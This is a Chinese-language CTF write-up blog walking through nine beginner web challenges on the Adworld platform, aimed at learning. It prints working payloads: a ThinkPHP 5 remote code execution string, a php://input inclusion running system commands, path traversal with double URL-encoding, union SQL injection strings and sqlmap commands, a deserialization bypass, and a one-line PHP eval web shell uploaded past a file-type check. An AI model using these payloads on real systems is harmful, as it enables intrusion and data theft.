前言
继续ctf的旅程
攻防世界web高手进阶区的2分题
1、php-rce
ThinkPHP版本5的相关漏洞
先随便输点东西试试
发现版本号
查了查漏洞
漏洞解析
拿个payload来试
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
发现可用
修改下,寻找flag
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
直接就有了
2、Web_php_include
进来是这么一段php
也就是说“php://”会被忽略
不过strstr是对大小写敏感的,用大写PHP绕过检测
/?page=Php://input
post输入
<?php system('ls')?>
查看文件
然后发现一个可能有flag的php
查看内容就是了
发现一些别的解法
四种解法
3、ics-06
题目说了报表中心遭入侵
进去后点来点去确实只有报表中心可以进去
有个日历
还写了个送分题(出题人的恶意)
点来点去没动静
看了看url
有个id,盲猜某个id有问题
就用burpsuite爆破下
还真是,id=2333有问题
url里输入
啧,直接就有flag了(这个id也充满恶意)
4、warmup
进去是个笑脸(充满恶意)
看下源码
源码里有个source.php
打开
看了看,尝试下hint.php
flag的位置有了
回去看source
根据要求
构造payload
?file=source.php?/../../../../ffffllllaaaagggg
第一个?表示传参,第二个?用来满足截取
就得到了flag
(这里四层,是试出来的,后来发现,ffffllllaaaagggg暗示了)
看writeup
url 编码绕过的思路是将?进行两次 url 编码,变为%253f
在服务器端提取参数时自动解码一次,checkFile函数中解码一次,仍会解码为?,可以绕过第四个 if
?file=source.php%253f/../../../../ffffllllaaaagggg
5、NewsCenter
进去点来点去没有东西
只有这么个搜索框
猜测sql注入
先猜字段
1' order by 2# 返回正常
1' order by 3# 返回正常
1' order by 4# 返回错误
所以有三列
暴库
1’ union select 1,2,database()#
爆表
1' union select 1,2,table_name from information_schema.tables where table_schema='news'#
爆列
1' union select 1,2,column_name from information_schema.columns where table_name='secret_table'#
找到flag了
1' union select 1,id,fl4g from secret_table#
看writeup
可以用sqlmap
sqlmap -u http://192.168.100.161:53459 --data "search=df" #获取注入点
sqlmap -u http://192.168.100.161:53459 --data "search=df" -dbs #获取数据库信息
sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news --tables #获取库内表信息
sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news -T secret_table --columns #获取表内字段信息
sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news -T secret_table -C "fl4g" --dump #获取字段内容,得到flag
6、NaNNaNNaNNaN-Batman
一个附件
打开来是一串乱码
最后有个eval(_)
,应该是这个运行后造成了乱码
改成alert(_)
,让源码弹出
做个整理
看了看要求
- 长度为16
- 以be0f23开头
- 以e98aa结尾
- 包含233ac
- 包含c7be9
得到be0f233ac7be98aa
得到flag
或者直接var那边自己拼凑下就是flag了
7、PHP2
进去是这么个东西
源码里没有东西
抓包扫描也没有东西
url里index.php、admin等常见页面也没有东西
。。。。(哽住)
查了查。。
说是信息在index.phps
而且原题是有提示的!(摔)
意思是
- 需要用GET方式给id参数传递一个为“admin”的值
- 但是会经过一次urldecode
所以要双重URL编码
?id=%2561%2564%256d%2569%256e
得到flag
后来发现,只要对admin里的一个字母双重url编码就行了
注:
- phps文件就是php的源代码文件,通常用于提供给用户(访问者)查看php代码
- 因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替
8、unserialize3
进去是这么一串
结合题目
应该就是要在序列化的时候跳过wakeup
序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过wakeup的执行
详细的可参考php的序列化
先搞出序列化
xctf类的数字换个大点的就是了
得到flag
9、upload1
进去是个文件上传
看看源码
大概是说会检查上传文件的类型
只有png和jpg的才能上传
那让他不检查不就行了
编辑html
把onchage="check();"
给删了
然后上传一个一句话木马
<?php @eval($_POST['helter']);?>
用蚁剑连接
就找到flag了
看了看writeup他们是先把php改成jpg上传
再用burpsuite抓包修改成php在上传服务器
有点麻烦的
以及中国菜刀笔者是不敢用的
毕竟它多半自带后门
结语
2分题多半是一个漏洞
找到漏洞进去就是